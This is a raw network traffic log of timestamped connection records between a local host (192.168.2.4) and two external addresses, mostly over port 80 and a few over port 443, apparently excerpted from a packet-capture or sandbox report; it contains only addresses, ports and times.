Oct 31, 2024 03:04:30.221695900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.221705914 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.221708059 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.221740961 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.221752882 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.221846104 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.221872091 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.221882105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.221889019 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.221914053 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.221915960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.221927881 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.221950054 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.222244978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222268105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222279072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222297907 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.222316027 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.222436905 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222455025 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222471952 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222480059 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.222482920 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222512007 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.222789049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222800970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222824097 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222835064 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222835064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.222846031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.222852945 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.222887039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.263271093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.263284922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.263295889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.263372898 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.263405085 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.264848948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.264861107 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.264870882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.264916897 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.264960051 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.311499119 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.311518908 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.311530113 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.311554909 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.311578989 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.349009037 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349040031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349056959 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349113941 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349126101 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349136114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349149942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349180937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349189043 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.349193096 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349225044 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.349242926 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.349567890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349581003 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349591970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349618912 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349623919 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.349631071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349641085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349654913 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349654913 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.349677086 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.349694967 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.349792957 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349803925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.349839926 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.350325108 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.350373030 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.381933928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.381957054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.381968021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.381999016 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.382019997 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.383550882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.383690119 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.383701086 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.383714914 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.383725882 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.383773088 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.430143118 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.430206060 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.430294991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.430342913 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.430615902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.430660963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.460273027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.460318089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.460324049 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.460345030 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.460356951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.460357904 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.460371017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.460380077 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.460397959 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.460413933 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.468844891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.468857050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.468895912 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.468910933 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.468919039 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.468930006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.468940020 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.468965054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.468966007 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.468976021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.468986034 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469002962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469008923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.469028950 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.469046116 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.469083071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469094038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469104052 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469137907 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.469152927 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.469196081 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469208002 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469218969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469229937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469242096 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.469255924 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.469283104 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.469332933 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.469378948 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.500547886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.500633955 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.500670910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.500716925 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.502392054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.502424002 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.502433062 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.502465963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.502497911 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.549137115 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.549166918 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.549177885 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.549191952 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.549221039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.553884029 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:30.553973913 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:30.554039955 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:30.554193974 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:30.554205894 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:30.577860117 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.577872992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.577883005 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.577919960 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.577939987 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.578809977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.578830957 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.578841925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.578865051 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.578881979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.587359905 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587372065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587407112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587418079 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587430000 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.587430000 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587430000 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.587450027 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.587476969 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.587560892 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587570906 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587609053 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.587655067 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587702990 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.587757111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587769032 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587800980 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.587847948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.587903976 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.588030100 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588042021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588071108 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588078976 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.588082075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588100910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588114977 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.588145971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.588476896 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588505030 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588515997 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588526964 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588527918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.588538885 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.588547945 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.588566065 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.588587046 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.621104002 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.621118069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.621129036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.621160030 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.621189117 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.667526960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.667581081 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.667603970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.667613983 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.667623997 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.667645931 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.667659044 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.694624901 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:30.694639921 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:30.694699049 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:30.695178986 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:30.695192099 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:30.696691036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.696702957 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.696717978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.696732998 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.696754932 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.697596073 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.697607994 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.697618008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.697643042 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.697659969 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.706481934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706494093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706518888 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706536055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706543922 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.706548929 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706562042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706573009 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.706573963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706588030 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706593990 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.706600904 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706613064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.706638098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.706831932 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706844091 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706866980 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.706888914 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.706942081 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706953049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706964016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706976891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.706984043 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.707000971 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.707009077 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.707046032 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.707465887 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.707489014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.707501888 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.707511902 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.707528114 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.707542896 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.707595110 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.707607031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.707638979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.739741087 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.739753962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.739763975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.739787102 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.739824057 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.786223888 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.786261082 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.786271095 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.786278963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.786281109 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.786305904 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.786324978 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.815300941 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.815325975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.815335989 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.815390110 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.815412998 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.816243887 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.816266060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.816282988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.816293001 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.816304922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.816322088 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.816349983 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.824805021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.824816942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.824827909 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.824867964 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.824903965 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825061083 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825104952 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825107098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825115919 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825146914 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825165987 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825217009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825233936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825246096 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825263023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825290918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825468063 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825508118 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825512886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825520039 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825546980 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825558901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825562954 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825572968 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825597048 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825602055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.825614929 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.825634003 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.826011896 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826031923 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826049089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826055050 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.826061964 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826073885 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826076031 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.826100111 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.826123953 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.826126099 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826138020 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826157093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826164007 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.826167107 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.826183081 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.826206923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.858639002 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.858668089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.858680010 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.858704090 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.858711958 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.858715057 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.858737946 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.858774900 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.904916048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.904958010 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.904973984 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.904997110 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.905071974 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.905081987 CET	80	63886	185.215.113.16	192.168.2.4
